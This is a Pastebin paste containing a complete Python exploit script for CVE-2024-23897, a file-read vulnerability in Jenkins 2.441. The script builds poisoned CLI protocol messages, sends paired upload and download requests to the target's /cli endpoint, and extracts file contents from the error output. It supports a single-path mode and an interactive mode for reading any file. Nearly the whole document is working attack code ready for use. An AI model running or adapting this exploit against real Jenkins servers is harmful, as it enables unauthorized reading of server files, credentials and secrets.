Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: Jenkins 2.441 - Local File Inclusion
- # Date: 14/04/2024
- # Exploit Author: Matisse Beckandt (Backendt)
- # Vendor Homepage: https://www.jenkins.io/
- # Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
- # Version: 2.441
- # Tested on: Debian 12 (Bookworm)
- # CVE: CVE-2024-23897
- from argparse import ArgumentParser
- from requests import Session, post, exceptions
- from threading import Thread
- from uuid import uuid4
- from time import sleep
- from re import findall
- class Exploit(Thread):
- def __init__(self, url: str, identifier: str):
- Thread.__init__(self)
- self.daemon = True
- self.url = url
- self.params = {"remoting": "false"}
- self.identifier = identifier
- self.stop_thread = False
- self.listen = False
- def run(self):
- while not self.stop_thread:
- if self.listen:
- self.listen_and_print()
- def stop(self):
- self.stop_thread = True
- def receive_next_message(self):
- self.listen = True
- def wait_for_message(self):
- while self.listen:
- sleep(0.5)
- def print_formatted_output(self, output: str):
- if "ERROR: No such file" in output:
- print("File not found.")
- elif "ERROR: Failed to parse" in output:
- print("Could not read file.")
- expression = "No such agent \"(.*)\" exists."
- results = findall(expression, output)
- print("\n".join(results))
- def listen_and_print(self):
- session = Session()
- headers = {"Side": "download", "Session": self.identifier}
- try:
- response = session.post(self.url, params=self.params, headers=headers)
- except (exceptions.ConnectTimeout, exceptions.ConnectionError):
- print("Could not connect to target to setup the listener.")
- exit(1)
- self.print_formatted_output(response.text)
- self.listen = False
- def send_file_request(self, filepath: str):
- headers = {"Side": "upload", "Session": self.identifier}
- payload = get_payload(filepath)
- try:
- post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
- except (exceptions.ConnectTimeout, exceptions.ConnectionError):
- print("Could not connect to the target to send the request.")
- exit(1)
- def read_file(self, filepath: str):
- self.receive_next_message()
- sleep(0.1)
- self.send_file_request(filepath)
- self.wait_for_message()
- def get_payload_message(operation_index: int, text: str) -> bytes:
- text_bytes = bytes(text, "utf-8")
- text_size = len(text_bytes)
- text_message = text_size.to_bytes(2) + text_bytes
- message_size = len(text_message)
- payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
- return payload
- def get_payload(filepath: str) -> bytes:
- arg_operation = 0
- start_operation = 3
- command = get_payload_message(arg_operation, "connect-node")
- poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")
- payload = command + poisoned_argument + start_operation.to_bytes(1)
- return payload
- def start_interactive_file_read(exploit: Exploit):
- print("Press Ctrl+C to exit")
- while True:
- filepath = input("File to download:\n> ")
- filepath = make_path_absolute(filepath)
- exploit.receive_next_message()
- try:
- exploit.read_file(filepath)
- except exceptions.ReadTimeout:
- print("Payload request timed out.")
- def make_path_absolute(filepath: str) -> str:
- if not filepath.startswith('/'):
- return f"/proc/self/cwd/{filepath}"
- return filepath
- def format_target_url(url: str) -> str:
- if url.endswith('/'):
- url = url[:-1]
- return f"{url}/cli"
- def get_arguments():
- parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")
- parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
- parser.add_argument("-p", "--path", help="The absolute path of the file to download")
- return parser.parse_args()
- def main():
- args = get_arguments()
- url = format_target_url(args.url)
- filepath = args.path
- identifier = str(uuid4())
- exploit = Exploit(url, identifier)
- exploit.start()
- if filepath:
- filepath = make_path_absolute(filepath)
- exploit.read_file(filepath)
- exploit.stop()
- return
- try:
- start_interactive_file_read(exploit)
- except KeyboardInterrupt:
- pass
- print("\nQuitting")
- exploit.stop()
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement